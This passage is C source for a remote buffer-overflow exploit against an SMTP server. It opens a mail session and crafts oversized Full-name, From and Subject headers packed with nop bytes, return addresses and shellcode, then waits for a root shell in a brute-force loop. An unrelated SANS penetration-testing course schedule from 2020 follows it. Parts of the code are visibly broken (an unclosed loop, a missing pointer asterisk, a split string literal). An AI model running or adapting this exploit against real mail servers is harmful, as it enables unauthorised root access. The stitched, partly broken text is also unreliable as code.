server.sin_family = AF_INET;
server.sin_port = htons(25);
if (!bf) {
    printf("Resolving address... ");
    fflush(stdout);
}

if ((ipaddr = inet_addr(argv[1])) == -1) {
    struct hostent *
    hostm;
    if ((hostm = gethostbyname(argv[1])) == NULL) {
        printf("Unable to resolve address\n");
        exit(0);
    }
    memcpy((char *)&server.sin_addr, hostm->h_addr, hostm->h_length);
}
else
    server.sin_addr.s_addr = ipaddr;
memset(&server.sin_zero, 0, 8);
if (!bf) {
    printf("Address found\n");
    printf("Connecting... ");
    fflush(stdout);
}

if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) {
    printf("Unable to connect\n");
    exit(0);
}

if (!bf) {
    printf("Connected!\n");
    printf("Sending exploit... ");
    fflush(stdout);
}

readsocket(sock,220);
writesocket(sock,"HELO yahoo.com\r\n");
readsocket(sock,250);
writesocket(sock,"MAIL FROM: spiderman@yahoo.com\r\n");
readsocket(sock,250);
writesocket(sock,"RCPT TO: MAILER-DAEMON\r\n");
readsocket(sock,250);
writesocket(sock,"DATA\r\n");
readsocket(sock,354);
memset(buf,0,sizeof(buf));
p=buf;
for (i=0;i<archs[target].angle;i++) {
    *p++='<';
    *p++='>';
p++='(';
for (i=0;i<archs[target].nops;i++) *p++=0xf8;
*p++=')';
*p++=((char*)&archs[target].aptr)[0];
*p++=((char*)&archs[target].aptr)[1];
*p++=((char*)&archs[target].aptr)[2];
*p++=((char*)&archs[target].aptr)[3];
*p++=0;
sprintf(tmp,"Full-name: %s\r\n",buf);
writesocket(sock,tmp);
sprintf(tmp,"From: %s\r\n",buf);
writesocket(sock,tmp);
p=buf;
archs[target].aptr+=4;
*p++=((char*)&archs[target].aptr)[0];
*p++=((char*)&archs[target].aptr)[1];
*p++=((char*)&archs[target].aptr)[2];
*p++=((char*)&archs[target].aptr)[3];
for (i=0;i<0x14;i++) *p++=0xf8;
archs[target].aptr+=0x18;
*p++=((char*)&archs[target].aptr)[0];
*p++=((char*)&archs[target].aptr)[1];
*p++=((char*)&archs[target].aptr)[2];
*p++=((char*)&archs[target].aptr)[3];
for (i=0;i<0x4c;i++) *p++=0x01;
archs[target].aptr+=0x4c+4;
*p++=((char*)&archs[target].aptr)[0];
*p++=((char*)&archs[target].aptr)[1];
*p++=((char*)&archs[target].aptr)[2];
*p++=((char*)&archs[target].aptr)[3];
for (i=0;i<0x8;i++) *p++=0xf8;
archs[target].aptr+=0x08+4;
*p++=((char*)&archs[target].aptr)[0];
*p++=((char*)&archs[target].aptr)[1];
*p++=((char*)&archs[target].aptr)[2];
*p++=((char*)&archs[target].aptr)[3];
for (i=0;i<0x20;i++) *p++=0xf8;
for (i=0;i<strlen(code);i++) *p++=code[i];
*p++=0;
sprintf(tmp,"Subject: AAAAAAAAAAAA%s\r\n",buf);
writesocket(sock,tmp);
writesocket(sock,".
");
if (!bf) {
    printf("Exploit sent!\n");
    printf("Waiting for root prompt...\n");
    if (readutil(sock,451)) printf("Failed!\n");
    else getrootprompt();
}
else {
}
readutil(sock,451);
close(sock);
bf+=4;
goto bfstart;
}
# Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Venue/Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS London April Live Online 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Apr 27</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 04, 2020 - Jun 10, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>May 4</td>
<td></td>
<td>May 04, 2020 - May 09, 2020</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 05, 2020 - Jun 11, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Hong Kong SE Asia Live Online 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Autumn Australia Live Online 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 29, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Live Online - SEC560: Network Penetration Testing and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 18, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling</td>
<td>United Arab Emirates</td>
<td>May 19, 2020 - Jun 06, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>May 26, 2020 - Jul 02, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>May 26</td>
<td></td>
<td>May 26, 2020 - May 29, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 1</td>
<td></td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Rocky Mountain HackFest Summit &amp; Training 2020</td>
<td>Virtual - US Mountain,</td>
<td>Jun 04, 2020 - Jun 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANSFIRE 2020</td>
<td>DC</td>
<td>Jun 13, 2020 - Jun 20, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jun 22</td>
<td></td>
<td>Jun 22, 2020 - Jun 27, 2020</td>
</tr>
<tr>
<td>Cyber Defence Australia Online 2020</td>
<td>Australia</td>
<td>Jun 22, 2020 - Jul 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Live Online July 2020</td>
<td>Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>2-Day Firehose Training</td>
<td>Jul 1</td>
<td></td>
<td>Jul 01, 2020 - Jul 02, 2020</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Jul 6</td>
<td></td>
<td>Jul 06, 2020 - Jul 11, 2020</td>
</tr>
<tr>
<td>Live Online - SEC660: Advanced Penetration Testing, Exploit Writing, and Ethical Hacking</td>
<td>United Arab Emirates</td>
<td>Jul 06, 2020 - Aug 12, 2020</td>
<td>vLive</td>
</tr>
</tbody>
</table>